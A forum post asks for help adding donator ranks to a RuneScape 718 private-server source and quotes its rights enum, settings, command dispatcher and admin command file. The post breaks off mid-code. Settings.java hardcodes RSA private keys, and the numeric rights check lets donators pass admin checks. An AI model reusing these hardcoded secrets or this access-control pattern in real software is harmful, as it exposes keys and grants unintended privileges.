Thread: Adding Donator & Extreme donator to 718 Rune-Evo source

Results 1 to 10 of 10
  1. #1 Adding Donator & Extreme donator to 718 Rune-Evo source 
    Registered Member 741Vick's Avatar
    Join Date
    Apr 2013
    Posts
    101
    Thanks given
    10
    Thanks received
    4
    Rep Power
    11
    So I asked for help on this before but it never got resolved, what i want to do is add the two ranks and a command to my Administrator.java so I can give people the ranks, i was able to give them the supposed rank so they got the money sign next to their name, but their tittle was [null][null] and they were able to spawns stuff :x so they basicly turned into admins with donator signs..

    this is the code i have in my rightsmanager.java:
    Code:
    package com.rs.game.player.content.custom;
    
    import com.rs.game.player.Player;
    
    public enum RightsManager {
    	
    	REGULAR(1, "Player", "", ""),
    	GRAPHIC_DESIGNER(0, "Graphic Designer", "", "<col=AD00FF>"),
    	DONATOR(4, "Donator", "<img=5>", "<col=FF0000>"),
    	EDONATOR(5, "Extreme Donator", "<img=4>", "<col=20f2eb>"),
    	SUPPORTER(0, "Supporter", "<img=0>", "<col=559568>"),
    	MODERATOR(1, "Moderator", "<img=0>", "<col=559568>"),
    	ADMIN(2, "Admin", "<img=1>", "<col=BA2EE8>"),
    	OWNER(7, "Owner", "<img=1>", "<col=BA2EE9>");
    	
    	private int playerRights;
    	private String title;
    	private String crown;
    	private String colorId;
    	
    	RightsManager(int rights, String title, String crown, String Color) {
    		this.playerRights = rights;
    		this.title = title;
    		this.crown = crown;
    		this.colorId = Color;
    	}
    	
    	public int getPlayerRights() {
    		return playerRights;
    	}
    	public String getTitle() {
    		return title;
    	}
    	public String getCrown() {
    		return crown;
    	}
    	public String getColor() {
    		return colorId;
    	}
    	
    	public static String getInfo(Player player, int i) {
    		String crown = null;
    		String titleInfo= null;
    		String color= null;
    		for (RightsManager rights : RightsManager.values()) {
    			if (rights.getPlayerRights() == i) {
    				if (player.isDonator() && player.getRights() == 4) {
    					crown = DONATOR.getCrown();
    					titleInfo = DONATOR.getTitle();
    					color = DONATOR.getColor();
    				} else if (player.i***tremeDonator() && player.getRights() == 5) {
    					crown = EDONATOR.getCrown();
    					titleInfo = EDONATOR.getTitle();
    					color = EDONATOR.getColor();
    				} else if (player.isGraphicDesigner() && player.getRights() == 0) {
    					crown = GRAPHIC_DESIGNER.getCrown();
    					titleInfo = GRAPHIC_DESIGNER.getTitle();
    					color = GRAPHIC_DESIGNER.getColor();
    				} else if (player.isSupporter() && player.getRights() == 0) {
    					crown = SUPPORTER.getCrown();
    					titleInfo = SUPPORTER.getTitle();
    					color = SUPPORTER.getColor();
    				} else if (player.getRights() == 1) {
    					crown = MODERATOR.getCrown();
    					titleInfo = MODERATOR.getTitle();
    					color = MODERATOR.getColor();
    				} else if (player.getRights() == 3) {
    					crown = ADMIN.getCrown();
    					titleInfo = ADMIN.getTitle();
    					color = ADMIN.getColor();
    					} else if (player.getRights() == 2) {
    					crown = OWNER.getCrown();
    					titleInfo = OWNER.getTitle();
    					color = OWNER.getColor();
    				} else if (player.getRights() == 0 
    						&& !player.isSupporter()
    						&& !player.isDonator()
    						&& !player.i***tremeDonator()
    						&& !player.isGraphicDesigner()) {
    					crown = REGULAR.getCrown();
    					titleInfo = REGULAR.getTitle();
    					color = REGULAR.getColor();
    				}
    			}
    		}
    		return ""+color+"["+titleInfo+"]</col> "+crown+""+player.getDisplayName()+""+color+"";
    	}
    }
    and then in my settings.java i have:
    Code:
    package com.rs;
    
    import java.math.BigInteger;
    
    import com.rs.game.WorldTile;
    import com.rs.utils.Utils;
    
    public final class Settings {
    
    	public static final String SERVER_NAME = "Equinox 718";
    	public static final String OWNER = "Statius";
    	public static final int PORT_ID = 43594;
    	public static final int CLIENT_BUILD = 718;
    	public static final int CUSTOM_CLIENT_BUILD = 1;
    	/**
    	 * General client and server settings.
    	 */
    	public static final String CACHE_PATH = "data/cache/";
    	public static final int RECEIVE_DATA_LIMIT = 7500;
    	public static final int PACKET_SIZE_LIMIT = 7500;
    
    	/**
    	 * Link settings
    	 */
    	public static final String WEBSITE_LINK = "http://rune-evolution.3owl.com";
    	public static final String ITEMLIST_LINK = "";
    	public static final String ITEMDB_LINK = "";
    	public static final String VOTE_LINK = "";
    
            /**
             * Rare Drop Names
             */
            public static String[] RARE_DROPS = { 
                "pernix", "torva", "virtus", "bandos", "armadyl", "hilt", "hati", 
                "korasi", "divine", "steadfast", "glaiven", "ragefire", "spirit shield",
                "fury", "arcane", "chaotic"
            };
            
    	/**
    	 * Launching settings
    	 */
    	public static boolean DEBUG;
    	public static boolean HOSTED;
    	public static boolean ECONOMY;
    
    	// Staff rights and Max Starter amount
    	public static final int MAX_STARTER_AMOUNT = 3;
    	public static final int IS_OWNER = 7;
    	public static final int IS_KING_DONATOR = 3;
    	public static final int IS_ADMIN = 2;
    	public static final int IS_MOD = 1;
    	public static final int IS_HELPER = 6;
    	public static final int IS_EXTREME_DONATOR = 5;
    	public static final int IS_DONATOR = 4;
    
    	/**
    	 * If the use of the managment server is enabled.
    	 */
    	public static boolean MANAGMENT_SERVER_ENABLED = true;
    
    	/**
    	 * Graphical User Interface settings
    	 */
    	public static final String GUI_SIGN = "Artisticy GUI";
    	public static final String LINE_SEPARATOR = System.getProperty("line.separator");
    
    	/**
    	 * Player settings
    	 */
    	public static final int START_PLAYER_HITPOINTS = 100;
    	public static final WorldTile START_PLAYER_LOCATION = new WorldTile(2869, 3542, 0);
    	public static final String START_CONTROLER = "null";
    	public static final WorldTile RESPAWN_PLAYER_LOCATION = new WorldTile(2869, 3542, 0);
    	public static final long MAX_PACKETS_DECODER_PING_DELAY = 30000; // 30seconds
    	public static final int COMBAT_XP_RATE = 150;
    	public static final int SKILLING_XP_RATE = 200;
    	public static final int DROP_RATE = 1;
    
    	/**
    	 * World settings
    	 */
    	public static final int WORLD_CYCLE_TIME = 525; // the speed of world in ms
    
    	/**
    	 * Music & Emote settings
    	 */
    	public static final int AIR_GUITAR_MUSICS_COUNT = 50;
    
    	/**
    	 * Quest settings
    	 */
    	public static final int QUESTS = 183;
    
    	/**
    	 * Memory settings
    	 */
    	public static final int PLAYERS_LIMIT = 2000;
    	public static final int LOCAL_PLAYERS_LIMIT = 250;
    	public static final int NPCS_LIMIT = Short.MAX_VALUE;
    	public static final int LOCAL_NPCS_LIMIT = 250;
    	public static final int MIN_FREE_MEM_ALLOWED = 30000000; // 30mb
    
    	/**
    	 * Game constants
    	 */
    	public static final int[] MAP_SIZES = { 104, 120, 136, 168, 72 };
    
    	public static final String GRAB_SERVER_TOKEN = "hAJWGrsaETglRjuwxMwnlA/d5W6EgYWx";
    	public static final int[] GRAB_SERVER_KEYS = { 1441, 78700, 44880, 39771,
    			363186, 44375, 0, 16140, 7316, 271148, 810710, 216189, 379672,
    			454149, 933950, 21006, 25367, 17247, 1244, 1, 14856, 1494, 119,
    			882901, 1818764, 3963, 3618 };
    
    	// an exeption(grab server has his own keyset unlike rest of client)
    	public static final BigInteger GRAB_SERVER_PRIVATE_EXPONENT = new BigInteger("95776340111155337321344029627634178888626101791582245228586750697996713454019354716577077577558156976177994479837760989691356438974879647293064177555518187567327659793331431421153203931914933858526857396428052266926507860603166705084302845740310178306001400777670591958466653637275131498866778592148380588481");
    	public static final BigInteger GRAB_SERVER_MODULUS = new BigInteger("119555331260995530494627322191654816613155476612603817103079689925995402263457895890829148093414135342420807287820032417458428763496565605970163936696811485500553506743979521465489801746973392901885588777462023165252483988431877411021816445058706597607453280166045122971960003629860919338852061972113876035333");
    
    	public static final BigInteger PRIVATE_EXPONENT = new BigInteger("90587072701551327129007891668787349509347630408215045082807628285770049664232156776755654198505412956586289981306433146503308411067358680117206732091608088418458220580479081111360656446804397560752455367862620370537461050334224448167071367743407184852057833323917170323302797356352672118595769338616589092625");
    	public static final BigInteger MODULUS = new BigInteger("102876637271116124732338500663639643113504464789339249490399312659674772039314875904176809267475033772367707882873773291786014475222178654932442254125731622781524413208523465520758537060408541610254619166907142593731337618490879831401461945679478046811438574041131738117063340726565226753787565780501845348613");
    	public static final int[] DONATOR_ITEMS = { /* TODO */};
    
    	private Settings() {
    
    	}
    }
    then in my commands.java i have:
    Code:
    package com.rs.game.player.content;
    
    import java.io.BufferedWriter;
    import java.io.File;
    import java.io.FileWriter;
    import java.io.IOException;
    import java.text.SimpleDateFormat;
    import java.util.ArrayList;
    import java.util.HashMap;
    import java.util.List;
    import java.util.TimerTask;
    import com.rs.Settings;
    import com.rs.cache.loaders.AnimationDefinitions;
    import com.rs.cache.loaders.ItemDefinitions;
    import com.rs.cores.CoresManager;
    import com.rs.game.Animation;
    import com.rs.game.ForceMovement;
    import com.rs.game.ForceTalk;
    import com.rs.game.Graphics;
    import com.rs.game.Hit;
    import com.rs.game.Hit.HitLook;
    import com.rs.game.Region;
    import com.rs.game.World;
    import com.rs.game.WorldObject;
    import com.rs.game.WorldTile;
    import com.rs.game.item.Item;
    import com.rs.game.item.ItemsContainer;
    import com.rs.game.minigames.FightPits;
    
    import com.rs.game.minigames.clanwars.ClanWars;
    import com.rs.game.minigames.clanwars.WallHandler;
    import com.rs.game.npc.NPC;
    import com.rs.game.npc.others.Bork;
    import com.rs.game.player.AuraManager;
    import com.rs.game.player.LoyaltyManager;
    import com.rs.game.player.Player;
    import com.rs.game.player.Skills;
    import com.rs.game.player.content.Notes.Note;
    import com.rs.game.player.content.commands.Administrator;
    import com.rs.game.player.content.commands.DonatorsOnly;
    import com.rs.game.player.content.commands.Moderator;
    import com.rs.game.player.content.commands.RegularPlayer;
    import com.rs.game.player.content.commands.SupportTeam;
    import com.rs.game.player.content.dungeoneering.DungeonPartyManager;
    import com.rs.game.player.content.pet.Pets;
    import com.rs.game.player.controlers.FightKiln;
    import com.rs.game.player.cutscenes.HomeCutScene;
    import com.rs.game.player.dialogues.Dialogue;
    import com.rs.game.tasks.WorldTask;
    import com.rs.game.tasks.WorldTasksManager;
    import com.rs.utils.DisplayNames;
    import com.rs.utils.Encrypt;
    import com.rs.utils.IPBanL;
    import com.rs.utils.NPCSpawns;
    import com.rs.utils.PkRank;
    import com.rs.utils.SerializableFilesManager;
    import com.rs.utils.Utils;
    
    /*
     * doesnt let it be extended
     */
    public final class Commands {
    
    	/*
    	 * all console commands only for admin, chat commands processed if they not
    	 * processed by console
    	 */
    
    	private static Bork cal;
    
    	public static boolean processCommand(Player player, String command,
    			boolean console, boolean clientCommand) {
    		if (command.length() == 0) // if they used ::(nothing) theres no command
    			return false;
    		String[] cmd = command.toLowerCase().split(" ");
    		if (cmd.length == 0)
    			return false;
    		/**
    		 * Administrator
    		 */
    		if (player.getRights() >= 2 && Administrator.processCommand(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Moderator
    		 */
    		if (player.getRights() >= 1 && Moderator.processCommands(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Supporter
    		 */
    		if ((player.isSupporter() || player.getRights() >= 1) && SupportTeam.processCommands(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Donator
    		 */
    		if ((player.isDonator() || player.i***tremeDonator()) && DonatorsOnly.processCommands(player, cmd, console, clientCommand))
    			return true;
    		
    		/**
    		 * Economy Mode, no commands allowed.
    		 */
    		if (Settings.ECONOMY) {
    			player.getPackets().sendGameMessage("You can't use any commands in economy mode!");
    			return true;
    		}
    		return RegularPlayer.processCommand(player, cmd, console, clientCommand);
    	}
    
    	public static String currentTime(String dateFormat) {
    		// Calendar cal = Calendar.getInstance();
    		SimpleDateFormat sdf = new SimpleDateFormat(dateFormat);
    		return sdf.format(cal.getTime());
    	}
    
    	/*
    	 * doesnt let it be instanced
    	 */
    	private Commands() {
    
    	}
    }



    then lastly in my administrator.java i have:
    Code:
    package com.rs.game.player.content.commands;
    
    import com.rs.MemoryManager;
    import com.rs.game.Animation;
    import com.rs.game.ForceTalk;
    import com.rs.game.Hit;
    import com.rs.game.Hit.HitLook;
    import com.rs.game.World;
    import com.rs.game.WorldObject;
    import com.rs.game.WorldTile;
    import com.rs.game.minigames.FightPits;
    import com.rs.game.npc.NPC;
    import com.rs.game.npc.others.Bork;
    import com.rs.game.player.Player;
    import com.rs.game.player.Skills;
    import com.rs.game.player.content.ItemSearch;
    import com.rs.game.player.content.dungeoneering.DungeonPartyManager;
    import com.rs.game.player.controlers.FightKiln;
    import com.rs.utils.Encrypt;
    import com.rs.utils.IPBanL;
    import com.rs.utils.NPCSpawns;
    import com.rs.utils.PkRank;
    import com.rs.utils.SerializableFilesManager;
    import com.rs.utils.Utils;
    import com.rs.utils.spawning.RemoveObjects;
    import com.rs.content.utils.DwarfMultiCannon;
    import java.io.File;
    import java.io.IOException;
    
    public class Administrator {
    
        private static Bork cal;
        public static String msg = "";
    
        public static boolean processCommand(final Player player, String[] cmd, boolean console, boolean clientCommand) {
            if (clientCommand) {
                if (cmd[0].equals("tele")) {
                    cmd = cmd[1].split(",");
                    int plane = Integer.valueOf(cmd[0]);
                    int x = Integer.valueOf(cmd[1]) << 6 | Integer.valueOf(cmd[3]);
                    int y = Integer.valueOf(cmd[2]) << 6 | Integer.valueOf(cmd[4]);
                    player.setNextWorldTile(new WorldTile(x, y, plane));
                    return true;
                }
            } else {
                boolean loggedIn = true;
                String name;
                Player target;
                WorldObject object;
    
    			if (cmd[0].equals("cannon")) {
    				DwarfMultiCannon.hasItems(player);
    				return true;
    			}
    			
                if (cmd[0].equals("memory")) {
                    player.getPackets().sendPanelBoxMessage("Server Memory: <col=00FFFF>"+MemoryManager.serverMemoryInformation()+"</col>");
                    player.getPackets().sendPanelBoxMessage("System Memory: <col=00FFFF>"+MemoryManager.systemMemoryInformation()+"</col>");
                    return true;
                }
                
                if (cmd[0].equals("remove")) {
                    int x = Integer.parseInt(cmd[1]);
                    int y = Integer.parseInt(cmd[2]);
                    WorldObject obj = World.getObject(new WorldTile(x, y, player.getPlane()));
                        if (obj != null) {
                            World.removeObject(obj, true);
                            player.getPackets().sendGameMessage("Removed object " + obj.getId() + ".");
                            return true;
                            } else {
                                player.getPackets().sendGameMessage("Invalid object. Please specify another coord.");
                        }
                    return true;
                }
    
                if (cmd[0].equals("cleanhome")) {
                    RemoveObjects.removeObjects();
                    return true;
                }
                if (cmd[0].equals("cleannpcs")) {
                    int count = 0;
                    for (NPC npc3 : World.getNPCs()) {
                        if (npc3.getName().equals("null")) {
                            count++;
                            npc3.finish();
                            npc3.isDead();
                        }
                    }
                    player.getPackets().sendGameMessage("Sucessfully removed " + count + " nulled npcs!");
                    return true;
                }
    
                if (cmd[0].equals("aggressive")) {
                    for (NPC npc3 : World.getNPCs()) {
                        npc3.setAtMultiArea(true);
                        npc3.setForceAgressive(true);
                        npc3.setForceMultiArea(true);
                    }
                    return true;
                }
    
                if (cmd[0].equals("getid")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    ItemSearch.searchForItem(player, name);
                    return true;
                }
    
                if (cmd[0].equals("open")) {
                    int interId = Integer.parseInt(cmd[1]);
                    player.getInterfaceManager().sendInterface(interId);
                    for (int i = 0; i < Utils.getInterfaceDefinitionsComponentsSize(interId); i++) {
                        player.getPackets().sendIComponentText(interId, i, "" + i + "");
                    }
                    return true;
                }
    
                if (cmd[0].equals("crown")) {
                    int crownId = Integer.parseInt(cmd[1]);
                    player.sm("Crown Id " + crownId + ": <img=" + crownId + ">");
                    return true;
                }
                if (cmd[0].equals("addspawn")) {
                    int npcID = Integer.parseInt(cmd[1]);
                    NPCSpawns.addNPCSpawn(npcID, player.getRegionId(), new WorldTile(player.getX(), player.getY(), 0), -1, false);
                    World.spawnNPC(npcID, player, -1, true, true);
                    return true;
                }
    
                if (cmd[0].equals("item")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendGameMessage("Use: ::item id (optional:amount)");
                        return true;
                    }
                    try {
                        int itemId = Integer.valueOf(cmd[1]);
                        player.getInventory().addItem(itemId, cmd.length >= 3 ? Integer.valueOf(cmd[2]) : 1);
                        player.stopAll();
                    } catch (NumberFormatException e) {
                        player.getPackets().sendGameMessage("Use: ::item id (optional:amount)");
                    }
                    return true;
                }
    
                if (cmd[0].equals("setspins")) {
                    String username = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player other = World.getPlayerByDisplayName(username);
                    if (other == null) {
                        return true;
                    }
                    other.setSpins(Integer.parseInt(cmd[2]));
                    other.getPackets().sendGameMessage("You have recived some spins!");
                    return true;
                }
    
                if (cmd[0].equals("unban")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        IPBanL.unban(target);
                        player.getPackets().sendGameMessage("You have unbanned: " + target.getDisplayName() + ".");
                    } else {
                        name = Utils.formatPlayerNameForProtocol(name);
                        if (!SerializableFilesManager.containsPlayer(name)) {
                            player.getPackets().sendGameMessage("Player doesnt exist.");
                            return true;
                        }
                        target = SerializableFilesManager.loadPlayer(name);
                        target.setUsername(name);
                        IPBanL.unban(target);
                        player.getPackets().sendGameMessage("You have unbanned: " + target.getDisplayName() + ".");
                        SerializableFilesManager.savePlayer(target);
                    }
                    return true;
                }
    
                if (cmd[0].equals("npcmask")) {
                    String message = "";
                    for (int i = 1; i < cmd.length; i++) {
                        message += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    for (NPC n : World.getNPCs()) {
                        if (n != null && Utils.getDistance(player, n) < 9) {
                            n.setNextForceTalk(new ForceTalk(message));
                        }
                    }
                    return true;
                }
    
                if (cmd[0].equals("qbd")) {
                    if (player.getSkills().getLevelForXp(Skills.SUMMONING) < 60) {
                        player.getPackets().sendGameMessage("You need a summoning level of 60 to go through this portal.");
                        player.getControlerManager().removeControlerWithoutCheck();
                        return true;
                    }
                    player.lock();
                    player.getControlerManager().startControler("QueenBlackDragonControler");
                    return true;
                }
    
                if (cmd[0].equals("meeting")) {
                    for (Player staff : World.getPlayers()) {
                        if (!staff.isSupporter() && staff.getRights() != 1) {
                            continue;
                        }
                        staff.setNextWorldTile(player);
                        staff.getPackets().sendGameMessage("You been teleported for a staff meeting by " + player.getDisplayName());
                    }
                    return true;
                }
    
                if (cmd[0].equals("promote")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    if (target.getRights() >= 2) {
                        target.setRights(2);
                        player.sm("an admin can be promoted no further!");
                    }
                    target.setRights(target.getRights() == 0 ? 1 : target.getRights());
                    SerializableFilesManager.savePlayer(target);
                    if (loggedIn) {
                        target.getPackets().sendGameMessage("You have been promoted by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + ".", true);
                    }
                    player.getPackets().sendGameMessage("You have promoted " + Utils.formatPlayerNameForDisplay(target.getUsername()) + ".", true);
                    return true;
                }
    
                if (cmd[0].equals("restartfp")) {
                    FightPits.endGame();
                    player.getPackets().sendGameMessage("Fight pits restarted!");
                    return true;
                }
    
                if (cmd[0].equals("teletome")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        player.getPackets().sendGameMessage("Couldn't find player " + name + ".");
                    } else {
                        target.setNextWorldTile(player);
                    }
                    return true;
                }
    
                if (cmd[0].equals("bork")) {
                    if (Bork.deadTime > System.currentTimeMillis()) {
                        player.getPackets().sendGameMessage(Bork.convertToTime());
                        return true;
                    }
                    player.getControlerManager().startControler("BorkControler", 0, null);
                    return true;
                }
    
                if (cmd[0].equals("killnpc")) {
                    for (NPC n : World.getNPCs()) {
                        if (n == null || n.getId() != Integer.parseInt(cmd[1])) {
                            continue;
                        }
                        n.sendDeath(n);
                    }
                    return true;
                }
    
                if (cmd[0].equals("sound")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid effecttype");
                        return true;
                    }
                    try {
                        player.getPackets().sendSound(Integer.valueOf(cmd[1]), 0, cmd.length > 2 ? Integer.valueOf(cmd[2]) : 1);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid");
                    }
                    return true;
                }
    
                if (cmd[0].equals("music")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid effecttype");
                        return true;
                    }
                    try {
                        player.getPackets().sendMusic(Integer.valueOf(cmd[1]));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::sound soundid");
                    }
                    return true;
                }
    
                if (cmd[0].equals("removenpc")) {
                    for (NPC n : World.getNPCs()) {
                        if (n.getId() == Integer.parseInt(cmd[1])) {
                            n.reset();
                            n.finish();
                        }
                    }
                    return true;
                }
    
                if (cmd[0].equals("resetkdr")) {
                    player.setKillCount(0);
                    player.setDeathCount(0);
                    return true;
                }
    
                if (cmd[0].equals("stopc")) {
                    player.getControlerManager().forceStop();
                    player.getInterfaceManager().sendInterfaces();
                    return true;
                }
    
                if (cmd[0].equals("god")) {
                    player.setHitpoints(Short.MAX_VALUE);
                    player.getEquipment().setEquipmentHpIncrease(Short.MAX_VALUE - 990);
                    if (player.getUsername().equalsIgnoreCase("")) {
                        return true;
                    }
                    for (int i = 0; i < 10; i++) {
                        player.getCombatDefinitions().getBonuses()[i] = 5000;
                    }
                    for (int i = 14; i < player.getCombatDefinitions().getBonuses().length; i++) {
                        player.getCombatDefinitions().getBonuses()[i] = 5000;
                    }
                    return true;
                }
    
                if (cmd[0].equals("testdung")) {
                    new DungeonPartyManager(player);
                    return true;
                }
    
                if (cmd[0].equals("checkdisplay")) {
                    for (Player p : World.getPlayers()) {
                        if (p == null) {
                            continue;
                        }
                        String[] invalids = {"<img", "<img=", "col", "<col=", "<shad", "<shad=", "<str>", "<u>"};
                        for (String s : invalids) {
                            if (p.getDisplayName().contains(s)) {
                                player.getPackets().sendGameMessage(Utils.formatPlayerNameForDisplay(p.getUsername()));
                            } else {
                                player.getPackets().sendGameMessage("None exist!");
                            }
                        }
                    }
                    return true;
                }
                if (cmd[0].equals("removedisplay")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        target.setDisplayName(Utils.formatPlayerNameForDisplay(target.getUsername()));
                        target.getPackets().sendGameMessage("Your display name was removed by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + ".");
                        player.getPackets().sendGameMessage("You have removed display name of " + target.getDisplayName() + ".");
                        SerializableFilesManager.savePlayer(target);
                    } else {
                        File acc1 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc1);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                        target.setDisplayName(Utils.formatPlayerNameForDisplay(target.getUsername()));
                        player.getPackets().sendGameMessage("You have removed display name of " + target.getDisplayName() + ".");
                        try {
                            SerializableFilesManager.storeSerializableClass(target, acc1);
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                    }
                    return true;
                }
    
                if (cmd[0].equals("coords")) {
                    player.getPackets().sendPanelBoxMessage("Coords: " + player.getX() + ", " + player.getY()
                            + ", " + player.getPlane() + ", regionId: "
                            + player.getRegionId() + ", rx: "
                            + player.getChunkX() + ", ry: "
                            + player.getChunkY());
                    return true;
                }
    
                if (cmd[0].equals("iteminter")) {
                    player.getPackets().sendItemOnIComponent(Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]), Integer.valueOf(cmd[3]), 1);
                    return true;
                }
    
                if (cmd[0].equals("trade")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
    
                    target = World.getPlayerByDisplayName(name);
                    if (target != null) {
                        player.getTrade().openTrade(target);
                        target.getTrade().openTrade(player);
                    }
                    return true;
                }
    
                if (cmd[0].equals("setlevel")) {
                    if (cmd.length < 3) {
                        player.getPackets().sendGameMessage("Usage ::setlevel skillId level");
                        return true;
                    }
                    try {
                        int skill = Integer.parseInt(cmd[1]);
                        int level = Integer.parseInt(cmd[2]);
                        if (level < 0 || level > 99) {
                            player.getPackets().sendGameMessage("Please choose a valid level.");
                            return true;
                        }
                        player.getSkills().set(skill, level);
                        player.getSkills().setXp(skill, Skills.getXPForLevel(level));
                        player.getAppearence().generateAppearenceData();
                        return true;
                    } catch (NumberFormatException e) {
                        player.getPackets().sendGameMessage("Usage ::setlevel skillId level");
                    }
                    return true;
                }
    
                if (cmd[0].equals("npc")) {
                    try {
                        World.spawnNPC(Integer.parseInt(cmd[1]), player, -1, true, true);
                        return true;
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::npc id(Integer)");
                    }
                    return true;
                }
    
                if (cmd[0].equals("object")) {
                    try {
                        int type = cmd.length > 2 ? Integer.parseInt(cmd[2]) : 10;
                        if (type > 22 || type < 0) {
                            type = 10;
                        }
                        World.spawnObject(
                                new WorldObject(Integer.valueOf(cmd[1]), type, 0,
                                player.getX(), player.getY(), player
                                .getPlane()), true);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: setkills id");
                    }
                    return true;
                }
    
                if (cmd[0].equals("killme")) {
                    player.applyHit(new Hit(player, 2000, HitLook.REGULAR_DAMAGE));
                    return true;
                }
    
                if (cmd[0].equals("passother")) {
                    name = cmd[1];
                    File acc1 = new File("data/characters/" + name.replace(" ", "_") + ".p");
                    target = null;
                    if (target == null) {
                        try {
                            target = (Player) SerializableFilesManager.loadSerializedFile(acc1);
                        } catch (ClassNotFoundException | IOException e) {
                            e.printStackTrace();
                        }
                    }
                    target.setPassword(Encrypt.encryptSHA1(cmd[2]));
                    player.getPackets().sendGameMessage("You changed their password!");
                    try {
                        SerializableFilesManager.storeSerializableClass(target, acc1);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
                if (cmd[0].equals("unmuteall")) {
                    for (Player targets : World.getPlayers()) {
                        if (player == null) {
                            continue;
                        }
                        targets.setMuted(0);
                    }
                    return true;
                }
                if (cmd[0].equals("reset")) {
                    if (cmd.length < 2) {
                        for (int skill = 0; skill < 25; skill++) {
                            player.getSkills().setXp(skill, 0);
                        }
                        player.getSkills().init();
                        return true;
                    }
                    try {
                        player.getSkills().setXp(Integer.valueOf(cmd[1]), 0);
                        player.getSkills().set(Integer.valueOf(cmd[1]), 1);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::reset skill");
                    }
                    return true;
                }
    
                if (cmd[0].equals("checkbank")) {
                    String username1 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player other1 = World.getPlayerByDisplayName(username1);
                    try {
                        player.getPackets().sendItems(95, other1.getBank().getContainerCopy());
                        player.getBank().openPlayerBank(other1);
                    } catch (Exception e) {
                        player.getPackets().sendGameMessage("The player " + username1 + " is currently unavailable.");
                    }
                    return true;
                }
    
                if (cmd[0].equals("master")) {
                    if (cmd.length < 2) {
                        for (int skill = 0; skill < 25; skill++) {
                            player.getSkills().addXp(skill, 150000000);
                        }
                        return true;
                    }
                    try {
                        player.getSkills().addXp(Integer.valueOf(cmd[1]), 150000000);
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::master skill");
                    }
                    return true;
                }
    
                if (cmd[0].equals("loyaltyshop")) {
                    player.getPackets().sendWindowsPane(1273, 0);
                    return true;
                }
    
                if (cmd[0].equals("tonpc")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tonpc id(-1 for player)");
                        return true;
                    }
                    try {
                        player.getAppearence().transformIntoNPC(Integer.valueOf(cmd[1]));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::tonpc id(-1 for player)");
                    }
                    return true;
                }
    
                if (cmd[0].equals("inter")) {
                    if (cmd.length < 2) {
                        player.getPackets().sendPanelBoxMessage("Use: ::inter interfaceId");
                        return true;
                    }
                    try {
                        player.getInterfaceManager().sendInterface(Integer.valueOf(cmd[1]));
                    } catch (NumberFormatException e) {
                        player.getPackets().sendPanelBoxMessage("Use: ::inter interfaceId");
                    }
                    return true;
                }
    
                if (cmd[0].equals("empty")) {
                    player.getInventory().reset();
                    return true;
                }
                if (cmd[0].equals("kill")) {
                    name = "";
                    for (int i = 1; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    if (target == null) {
                        return true;
                    }
                    target.applyHit(new Hit(target, target.getHitpoints(), HitLook.REGULAR_DAMAGE));
                    target.stopAll();
                    return true;
                }
    
                if (cmd[0].equals("donor")) {
                    name = "";
                    int status = Integer.parseInt(cmd[1]);
                    for (int i = 2; i < cmd.length; i++) {
                        name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
                    }
                    target = World.getPlayerByDisplayName(name);
                    loggedIn = true;
                    if (target == null) {
                        target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name));
                        if (target != null) {
                            target.setUsername(Utils.formatPlayerNameForProtocol(name));
                        }
                        loggedIn = false;
                    }
                    if (target == null) {
                        return true;
                    }
                    if (status == 1) {
                        target.setDonator(true);
